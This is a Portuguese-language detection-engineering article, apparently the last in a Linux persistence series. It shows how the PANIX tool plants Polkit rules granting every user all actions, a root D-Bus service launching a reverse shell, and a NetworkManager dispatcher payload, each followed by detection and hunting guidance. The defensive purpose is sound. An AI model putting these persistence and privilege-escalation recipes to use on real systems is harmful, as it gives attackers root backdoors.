Um arquivo Polkit .rules
define a lógica para permitir ou negar ações específicas. Esses arquivos oferecem flexibilidade para determinar se um usuário ou processo pode executar uma ação. Aqui está um exemplo simples:
polkit.addRule(function(action, subject) {
if (action.id == "org.freedesktop.systemd1.manage-units" &&
subject.isInGroup("servicemanagers")) {
return polkit.Result.YES;
}
return polkit.Result.NOT_HANDLED;
});
Nesta regra:
- A ação
org.freedesktop.systemd1.manage-units
(gerenciar serviçossystemd
) é concedida aos usuários do gruposervicemanagers
. - Outras ações recorrem ao tratamento padrão.
Essa estrutura permite que administradores criem políticas personalizadas, mas também abre a porta para invasores que podem inserir regras excessivamente permissivas para obter privilégios não autorizados.
Atualmente, o Polkit não possui uma técnica dedicada no framework MITRE ATT&CK. A correspondência mais próxima é T1543: criar ou modificar processo do sistema, que descreve adversários modificando processos em nível de sistema para alcançar persistência ou escalonamento de privilégios.
Na próxima seção, vamos explorar passo a passo como os invasores podem criar e implantar regras e arquivos de autorização maliciosos do Polkit, além de discutir estratégias de detecção e mitigação.
Persistência por meio de T1543 - Criar ou modificar processo do sistema: PolicyKit
Agora que entendemos a teoria, vamos ver como simular isso na prática através do módulo PANIX setup_polkit.sh. Primeiro, o módulo verifica a versão ativa do Polkit através do comando pkaction --version
, pois as versões < 0.106 utilizam os arquivos .pkla
mais antigos, enquanto as versões mais recentes (>= 0.106) utilizam os arquivos .rules
mais recentes. Dependendo da versão, o módulo continuará a criar a política Polkit que é excessivamente permissiva. Para versões < 0.106, um arquivo .pkla
é criado em /etc/polkit-1/localauthority/50-local.d/
:
mkdir -p /etc/polkit-1/localauthority/50-local.d/
# Write the .pkla file
cat <<-EOF > /etc/polkit-1/localauthority/50-local.d/panix.pkla
[Allow Everything]
Identity=unix-user:*
Action=*
ResultAny=yes
ResultInactive=yes
ResultActive=yes
EOF
Permitir que qualquer unix-user
execute qualquer ação através dos parâmetros Identity=unix-user:*
e Action=*
.
Para versões >= 0.106, um arquivo .rules
é criado em /etc/polkit-1/rules.d/
:
mkdir -p /etc/polkit-1/rules.d/
# Write the .rules file
cat <<-EOF > /etc/polkit-1/rules.d/99-panix.rules
polkit.addRule(function(action, subject) {
return polkit.Result.YES;
});
EOF
Quando uma política excessivamente permissiva sempre retorna polkit.Result.YES
, qualquer ação que exija a autenticação do Polkit será permitida por qualquer pessoa.
As regras do Polkit são processadas em ordem lexicográfica (ASCII), o que significa que arquivos com números menores são carregados primeiro, e regras posteriores podem substituir as anteriores. Se duas regras modificarem a mesma política, a regra com o número mais alto terá precedência porque é avaliada por último. Para garantir que a regra seja executada e substitua outras, o PANIX a cria com um nome de arquivo começando com 99 (por exemplo, 99-panix.rules
).
Vamos rodar o módulo PANIX com os seguintes argumentos de linha de comando:
> sudo ./panix.sh --polkit
[!] Polkit version < 0.106 detected. Setting up persistence using .pkla files.
[+] Persistence established via .pkla file.
[+] Polkit service restarted.
[!] Run pkexec su - to test the persistence.
E dê uma olhada nos logs no Kibana:
Após a execução do PANIX, podemos ver o comando pkaction --version
sendo emitido para determinar se é necessária uma abordagem de arquivo .pkla
ou .rules
. Depois de resolver isso, a política correta é criada, e o serviço polkit
é reiniciado (embora isso nem sempre seja necessário). Assim que essas políticas estiverem em vigor, um usuário com um user.Ext.real.id
de 1000
(não-root) pode obter privilégios de root executando o comando pkexec su -
.
Vamos dar uma olhada nas nossas oportunidades de detecção:
Regras de detecção e endpoint que cobrem a persistência do Polkit
Categoria | Cobertura |
---|---|
Arquivo | Criação de políticas Polkit |
Persistência potencial por meio de modificação de arquivo | |
Processo | Descoberta da Versão do Polkit |
Execução incomum do Pkexec |
Para reverter quaisquer alterações, você pode usar o módulo correspondente de reversão executando:
> ./panix.sh --revert polkit
[+] Checking for .pkla persistence file...
[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla
[+] Checking for .rules persistence file...
[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules
[+] Restarting polkit service...
[+] Polkit service restarted successfully.
Procurando por T1543 - Criar ou modificar o processo do sistema: PolicyKit
Podemos buscar essa técnica usando ES|QL e OSQuery, focando em atividades suspeitas relacionadas à modificação dos arquivos e regras de configuração do PolicyKit. A abordagem inclui a busca do seguinte:
- Criações e/ou modificações nos arquivos de configuração do PolicyKit: monitora as mudanças em diretórios críticos que contêm regras personalizadas e do sistema, descrições de ações e regras de autorização. O monitoramento desses caminhos ajuda a identificar adições não autorizadas ou adulterações que podem indicar atividade maliciosa.
- Análise de metadados de arquivos do PolicyKit: examina a propriedade dos arquivos, os tempos de acesso e os carimbos de data e hora de modificação dos arquivos relacionados ao PolicyKit. Alterações não autorizadas ou arquivos com propriedade inesperada podem indicar uma tentativa de persistir ou escalar privilégios por meio do PolicyKit.
- Detecção de eventos raros ou anômalos: identifica eventos incomuns de modificação ou criação de arquivos ao analisar a execução de processos e a correlação com a atividade de arquivos. Isso ajuda a revelar indicadores sutis de comprometimento.
Ao combinar a regra de caça Persistência via PolicyKit com as consultas de detecção personalizadas listadas acima, os analistas podem identificar e responder de forma eficaz ao T1543.
T1543 - Criar ou modificar o processo do sistema: D-Bus
D-Bus (Desktop Bus) é um sistema de comunicação entre processos (IPC) amplamente utilizado no Linux e em outros sistemas operacionais semelhantes ao Unix. Ele atua como um barramento de mensagens estruturado, permitindo que processos, serviços do sistema e aplicativos se comuniquem e coordenem ações. Como um pilar dos ambientes Linux modernos, o D-Bus oferece o framework para comunicação tanto em todo o sistema quanto específica do user.
Essencialmente, o D-Bus facilita a interação entre processos ao fornecer um mecanismo padronizado para o envio e recebimento de mensagens, eliminando a necessidade de soluções personalizadas de IPC e melhorando a eficiência e a segurança. Ela opera por meio de dois canais de comunicação principais:
- Barramento do sistema: utilizado para comunicação entre serviços de nível de sistema e operações privilegiadas, como o gerenciamento de hardware ou a configuração de rede.
- Barramento de sessão: usado para comunicação entre aplicativos de nível de usuário, como notificações de desktop ou players de mídia.
Um daemon D-Bus gerencia o barramento de mensagens, garantindo que as mensagens sejam roteadas com segurança entre os processos. Os processos se registram no barramento com nomes únicos e oferecem interfaces que contêm métodos, sinais e propriedades para que outros processos possam interagir. Os principais componentes da comunicação D-Bus são os seguintes:
Interfaces:
- Define uma coleção de métodos, sinais e propriedades que um serviço oferece.
- Exemplo:
org.freedesktop.NetworkManager
fornece métodos para gerenciar conexões de rede.
Métodos:
- Permite que processos externos chamem ações específicas ou solicitem informações.
- Exemplo: o método
org.freedesktop.NetworkManager.Reload
pode ser chamado para recarregar um serviço de rede.
Sinais:
- Notificações enviadas por um serviço para informar outros processos sobre eventos.
- Exemplo: um sinal pode indicar uma mudança no status da conexão de rede.
Por exemplo, o seguinte comando envia uma mensagem ao barramento do sistema para invocar o método Reload
no serviço NetworkManager
:
dbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Reload uint32:0
Os serviços do D-Bus são aplicativos ou daemons que se registram no barramento para oferecer funcionalidades. Se um serviço solicitado não estiver em execução, o daemon D-Bus pode iniciá-lo automaticamente usando arquivos de serviço predefinidos.
Esses serviços utilizam arquivos de serviço com uma extensão .service
para indicar ao D-Bus como iniciar um serviço. Por exemplo:
[D-BUS Service]
Name=org.freedesktop.MyService
Exec=/usr/bin/my-service
User=root
Os arquivos de serviço D-Bus podem ser encontrados em vários locais diferentes, dependendo se esses serviços estão sendo executados em todo o sistema ou no nível do usuário, e também da arquitetura e da distribuição do Linux. A seguir está uma visão geral dos locais utilizados, que não é uma lista exaustiva, pois diferentes distribuições usam locais padrão diferentes.
- Configuração e serviços do sistema:
- Arquivos de serviço do sistema:
/usr/share/dbus-1/system-services/
/usr/local/share/dbus-1/system-services/
- Arquivos de política do sistema:
/etc/dbus-1/system.d/
/usr/share/dbus-1/system.d/
- Arquivos de configuração do sistema:
/etc/dbus-1/system.conf
/usr/share/dbus-1/system.conf
- Arquivos de serviço do sistema:
- Configuração e serviços de sessão:
- Arquivos de serviço de sessão:
/usr/share/dbus-1/session-services/
~/.local/share/dbus-1/services/
- Arquivos de política de sessão:
/etc/dbus-1/session.d/
/usr/share/dbus-1/session.d/
- Arquivos de configuração de sessão:
/etc/dbus-1/session.conf
/usr/share/dbus-1/session.conf
- Arquivos de serviço de sessão:
Mais detalhes sobre cada caminho aqui. As políticas do D-Bus, escritas em XML, definem regras de controle de acesso para serviços do D-Bus. Essas políticas especificam quem pode realizar ações como enviar mensagens, receber respostas ou possuir serviços específicos. Elas são fundamentais para controlar o acesso a operações privilegiadas e assegurar que os serviços não sejam utilizados de forma inadequada. Existem vários componentes-chave de uma política D-Bus:
- Contexto:
- As políticas podem ser aplicadas a usuários específicos, grupos ou a um contexto padrão (
default
se aplica a todos os usuários, a menos que seja substituído).
- Regras Allow/Deny:
- As regras explicitamente concedem (
allow
) ou restringem (deny
) o acesso a métodos, interfaces ou serviços.
- Granularidade:
- As políticas podem controlar o acesso em múltiplos níveis:
- Serviços inteiros (por exemplo,
org.freedesktop.MyService
). - Métodos ou interfaces específicos (ex.:
org.freedesktop.MyService.SecretMethod
).
- Serviços inteiros (por exemplo,
O exemplo a seguir demonstra uma política de D-Bus que impõe restrições claras de acesso:
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<!-- Default policy: Deny all access -->
<policy context="default">
<deny send_destination="org.freedesktop.MyService"/>
</policy>
<!-- Allow only users in the "admin" group to access specific methods -->
<policy group="admin">
<allow send_interface="org.freedesktop.MyService.PublicMethod"/>
</policy>
<!-- Allow root to access all methods -->
<policy user="root">
<allow send_destination="org.freedesktop.MyService"/>
</policy>
</busconfig>
Esta política:
- Nega todo o acesso ao serviço
org.freedesktop.MyService
por padrão. - Concede aos usuários do grupo
admin
acesso a uma interface específica (org.freedesktop.MyService.PublicMethod
). - Concede acesso total ao destino
org.freedesktop.MyService
para o usuárioroot
.
O papel central do D-Bus no IPC faz dele um alvo potencialmente interessante para invasores. Vetores de ataque potenciais incluem:
- Sequestro ou registro de serviços maliciosos:
- Os invasores podem substituir ou adicionar arquivos
.service
, por exemplo,/usr/share/dbus-1/system-services/
para sequestrar comunicações legítimas ou injetar código mal-intencionado.
- Os invasores podem substituir ou adicionar arquivos
- Criação ou exploração de políticas excessivamente permissivas:
- Políticas fracas (por exemplo, conceder acesso do usuário a serviços críticos) podem permitir que invasores invoquem métodos privilegiados.
- Abuso de serviços vulneráveis:
- Se um serviço D-Bus não validar corretamente a entrada, invasores podem executar código arbitrário ou realizar ações não autorizadas.
Os exemplos acima podem ser usados para elevação de privilégios, evasão de defesa e persistência. Atualmente, não há uma sub-técnica específica do MITRE ATT&CK para o D-Bus. No entanto, seu abuso se alinha estreitamente com T1543: criar ou modificar processo do sistema, bem como T1574: sequestrar fluxo de execução para casos em que .service
arquivos são modificados.
Na próxima seção, vamos examinar como um invasor pode configurar permissões excessivamente permissivas no D-Bus que enviam conexões reversas com permissões de root, enquanto discutimos abordagens para detectar esse comportamento.
Persistência através de T1543 - Criar ou modificar o processo do sistema: D-Bus
Agora que aprendemos tudo sobre a configuração do D-Bus, é hora de dar uma olhada em como simular isso na prática através do módulo PANIX setup_dbus.sh. O PANIX começa criando um arquivo de serviço D-Bus em /usr/share/dbus-1/system-services/org.panix.persistence.service
com o seguinte conteúdo:
cat <<'EOF' > "$service_file"
[D-BUS Service]
Name=org.panix.persistence
Exec=/usr/local/bin/dbus-panix.sh
User=root
EOF
Este arquivo de serviço irá escutar na interface org.panix.persistence
e executar o “serviço” /usr/local/bin/dbus-panix.sh
. O script dbus-panix.sh
simplesmente inicia uma conexão de shell reverso quando acionado:
cat <<EOF > "$payload_script"
#!/bin/bash
# When D-Bus triggers this service, execute payload.
${payload}
EOF
Para garantir que qualquer usuário possa invocar as ações correspondentes à interface, o PANIX configura um arquivo /etc/dbus-1/system.d/org.panix.persistence.conf
com o seguinte conteúdo:
cat <<'EOF' > "$conf_file"
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<!-- Allow any user to own, send to, and access the specified service -->
<policy context="default">
<allow own="org.panix.persistence"/>
<allow send_destination="org.panix.persistence"/>
<allow send_interface="org.panix.persistence"/>
</policy>
</busconfig>
EOF
Esta configuração define uma política de D-Bus que permite que qualquer usuário ou processo possua, envie mensagens para e interaja com o serviço org.panix.persistence
, concedendo efetivamente acesso irrestrito a ele. Após reiniciar o serviço dbus
, a configuração estará completa.
Para interagir com o serviço, você pode usar o seguinte comando:
dbus-send --system --type=method_call /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
Este comando envia uma chamada de método para o barramento do sistema D-Bus, direcionando-se ao serviço org.panix.persistence
, invocando o método org.panix.persistence.Method
no objeto /org/panix/persistence
, acionando efetivamente o backdoor.
Vamos rodar o módulo PANIX com os seguintes argumentos de linha de comando:
> sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016
[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service
[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh
[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf
[!] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence module completed. Test with:
dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
Após a execução do comando dbus-send
:
dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
Vamos dar uma olhada nos documentos no Kibana:
Após a execução do PANIX, os arquivos org.panix.persistence.service
, dbus-panix.sh
e org.panix.persistence.conf
são criados, estabelecendo o cenário com sucesso. Depois, o serviço dbus
é reiniciado, e o comando dbus-send é executado para interagir com o serviço org.panix.persistence
. Quando o método org.panix.persistence.Method
é invocado, o backdoor dbus-panix.sh
é executado, e a cadeia de conexão do shell reverso (dbus-panix.sh
→ nohup
→ setsid
→ bash
) é iniciada.
Vamos dar uma olhada nas nossas oportunidades de detecção:
Regras de detecção e endpoint que cobrem a persistência do D-Bus
Categoria | Cobertura |
---|---|
Arquivo | Serviço D-Bus criado |
Persistência potencial por meio de modificação de arquivo | |
Processo | Chamada suspeita de método D-Bus |
Processo child do Daemon D-Bus incomum |
Para reverter quaisquer alterações, você pode usar o módulo correspondente de reversão executando:
> ./panix.sh --revert dbus
[*] Reverting D-Bus persistence module...
[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service...
[+] D-Bus service file removed.
[+] Removing payload script: /usr/local/bin/dbus-panix.sh
[+] Payload script removed.
[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf...
[+] D-Bus configuration file removed.
[*] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence reverted.
Procurando por T1543 - Criar ou modificar o processo do sistema: D-Bus
Podemos buscar essa técnica usando ES|QL e OSQuery, focando em atividades suspeitas ligadas ao uso e modificação de arquivos, serviços e processos relacionados ao D-Bus. A abordagem inclui o monitoramento de:
- Criações e/ou modificações nos arquivos de configuração e serviço do D-Bus: monitora alterações em diretórios críticos, como arquivos de serviço e arquivos de políticas de todo o sistema e de sessão. O monitoramento desses caminhos ajuda a detectar adições ou modificações não autorizadas que podem indicar atividade maliciosa direcionada ao D-Bus.
- Análise de metadados de arquivos D-Bus: examina a propriedade dos arquivos, os horários de último acesso e os carimbos de data e hora de modificação dos arquivos de configuração do D-Bus. Isso pode revelar alterações não autorizadas ou a presença de arquivos inesperados que podem indicar tentativas de persistir através do D-Bus.
- Detecção de processos suspeitos: monitora a execução de processos como
dbus-daemon
edbus-send
, que são componentes chave da comunicação D-Bus. Ao monitorar linhas de comando, processos pai e contagens de execução, é possível identificar usos incomuns ou não autorizados. - Detecção de eventos raros ou anômalos: identifica modificações incomuns de arquivos ou execuções de processos correlacionando dados de eventos entre endpoints. Isso destaca indicadores sutis de comprometimento, como alterações raras nas configurações críticas do D-Bus ou o uso inesperado de comandos do D-Bus.
Ao combinar a regra de caça Persistência via Desktop Bus (D-Bus) com as consultas de detecção personalizadas listadas acima, os analistas podem identificar e responder de forma eficaz à T1543.
T1546 - Execução acionada por evento: NetworkManager
NetworkManager é um daemon amplamente utilizado para gerenciar conexões de rede em sistemas Linux. Ele permite configurar interfaces de rede com fio, sem fio, VPN e outras, além de oferecer um design modular e extensível. Um dos seus recursos menos conhecidos, mas poderosos, é o recurso de despachante, que oferece uma maneira de executar scripts automaticamente em resposta a eventos de rede. Quando certos eventos de rede ocorrem (por exemplo, uma interface é ativada ou desativada), o NetworkManager aciona scripts localizados neste diretório. Esses scripts são executados como raiz, tornando-os altamente privilegiados.
- Tipos de eventos: NetworkManager passa eventos específicos para scripts, como:
up
: a interface está ativada.down
: a interface está desativada.vpn-up
: a conexão VPN está estabelecida.vpn-down
: a conexão VPN está desconectada.
Os scripts colocados em /etc/NetworkManager/dispatcher.d/
são scripts de shell padrão e devem ser marcados como executáveis. Um exemplo de script do dispatcher pode ser assim:
#!/bin/bash
INTERFACE=$1
EVENT=$2
if [ "$EVENT" == "up" ]; then
logger "Interface $INTERFACE is up. Executing custom script."
# Perform actions, such as logging, mounting, or starting services
/usr/bin/some-command --arg value
elif [ "$EVENT" == "down" ]; then
logger "Interface $INTERFACE is down. Cleaning up."
# Perform cleanup actions
fi
Fazer log de eventos e executar comandos sempre que uma interface de rede é ativada ou desativada.
Para alcançar persistência através desta técnica, um invasor pode:
- Crie um script personalizado, torne-o executável e coloque-o no diretório do dispatcher
- Modificar um script de despachante legítimo para executar uma carga útil em um determinado evento de rede.
A persistência através de dispatcher.d/
está alinhada com T1546: execução acionada por evento e T1543: criar ou modificar processo do sistema no framework MITRE ATT&CK. No entanto, os scripts do despachante do NetworkManager não possuem sua própria subtécnica.
Na próxima seção, vamos explorar como os scripts do dispatcher podem ser utilizados para persistência e visualizar o fluxo do processo para apoiar uma engenharia de detecção eficaz.
Persistência por meio de T1546 - Execução acionada por evento:
O conceito desta técnica é muito simples, vamos agora colocá-la em prática através do módulo setup_network_manager.sh PANIX. O módulo verifica se o pacote NetworkManager está disponível e se o caminho /etc/NetworkManager/dispatcher.d/
existe, pois são requisitos para que a técnica funcione. Em seguida, cria um novo arquivo dispatcher em /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
, com um payload no final. Por fim, concede permissões de execução ao arquivo dispatcher, após o que está pronto para ser ativado.
cat <<'EOF' > "$dispatcher_file"
#!/bin/sh -e
if [ "$2" = "connectivity-change" ]; then
exit 0
fi
if [ -z "$1" ]; then
echo "$0: called with no interface" 1>&2
exit 1
fi
[...]
# Insert payload here:
__PAYLOAD_PLACEHOLDER__
EOF
chmod +x "$dispatcher_file"
Incluímos apenas os trechos mais relevantes do módulo acima. Fique à vontade para conferir o código-fonte do módulo se quiser se aprofundar.
Vamos rodar o módulo PANIX com os seguintes argumentos de linha de comando:
> sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017
[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
[+] Replaced payload placeholder with actual payload.
[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
Agora, sempre que um novo evento de rede for acionado, a carga útil será executada. Isso pode ser feito reiniciando o serviço NetworkManager, uma interface ou reiniciando o sistema. Vamos dar uma olhada nos documentos no Kibana:
Após a execução do PANIX, o script panix-dispatcher.sh
é criado, marcado como executável e sed
é usado para adicionar a carga útil ao final do script. Ao reiniciar o serviço NetworkManager
através do systemctl
, podemos ver nm-dispatcher
executando o script panix-dispatcher.sh
, detonando efetivamente a cadeia de shell reversa (panix-dispatcher.sh
→ nohup
→ setsid
→ bash
).
E, finalmente, vamos dar uma olhada nas nossas oportunidades de detecção.
Regras de detecção e de endpoint que cobrem a persistência do network-manager
Para reverter quaisquer alterações, você pode usar o módulo correspondente de reversão executando:
> ./panix.sh --revert network-manager
[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown...
[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown.
[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh...
[+] Custom dispatcher file removed.
[+] NetworkManager persistence reverted.
Caçando T1546 - Execução acionada por evento: NetworkManager
Podemos buscar esta técnica usando ES|QL e OSQuery, focando em atividades suspeitas ligadas à criação, modificação e execução de scripts do NetworkManager Dispatcher. A abordagem inclui o monitoramento de:
- Criações e/ou modificações nos scripts do Dispatcher: monitora as alterações no diretório
/etc/NetworkManager/dispatcher.d/
. O monitoramento de scripts novos ou alterados ajuda a detectar adições ou modificações não autorizadas que podem indicar intenção maliciosa. - Detecção de processos suspeitos: monitora processos executados por
nm-dispatcher
ou scripts localizados em/etc/NetworkManager/dispatcher.d/
. Ao analisar linhas de comando, processos principais e contagens de execução, é possível identificar execuções de scripts incomuns ou não autorizadas. - Análise de metadados dos scripts do despachante: verifica a propriedade, os horários do último acesso e os carimbos de data e hora de modificação dos arquivos em
/etc/NetworkManager/dispatcher.d/
. Isso pode revelar alterações não autorizadas ou anomalias nos atributos de arquivos que podem indicar tentativas de persistência.
Ao combinar a regra de caça Persistência via NetworkManager Dispatcher Script com as consultas de detecção personalizadas listadas acima, os analistas podem identificar e responder de forma eficaz ao T1546.
Conclusão
No quinto e último capítulo da série "Engenharia de Detecção Linux", focamos nos mecanismos de persistência enraizados no processo de boot do Linux, nos sistemas de autenticação, na comunicação entre processos e nos utilitários do núcleo. Iniciamos com a persistência baseada em GRUB e a manipulação do initramfs, cobrindo tanto abordagens manuais quanto métodos automatizados usando o Dracut. Avançando, exploramos a persistência baseada em Polkit, depois mergulhamos na exploração do D-Bus e concluímos com scripts de dispatcher do NetworkManager, destacando seu potencial de abuso em cenários de persistência.
Ao longo desta série, PANIX desempenhou um papel crítico na demonstração e simulação dessas técnicas, permitindo que você teste suas capacidades de detecção e fortaleça suas defesas. Combinadas com as consultas personalizadas de ES|QL e OSQuery fornecidas, essas ferramentas permitem que você identifique e responda de forma eficaz até mesmo aos mecanismos de persistência mais avançados.
Ao encerrarmos esta série, esperamos que você se sinta capacitado para enfrentar as ameaças de persistência do Linux com confiança. Munido de conhecimento prático, estratégias acionáveis e experiência prática, você estará bem preparado para se defender contra adversários que visam ambientes Linux. Obrigado por se juntar a nós e, como sempre, fique atento e boa caçada!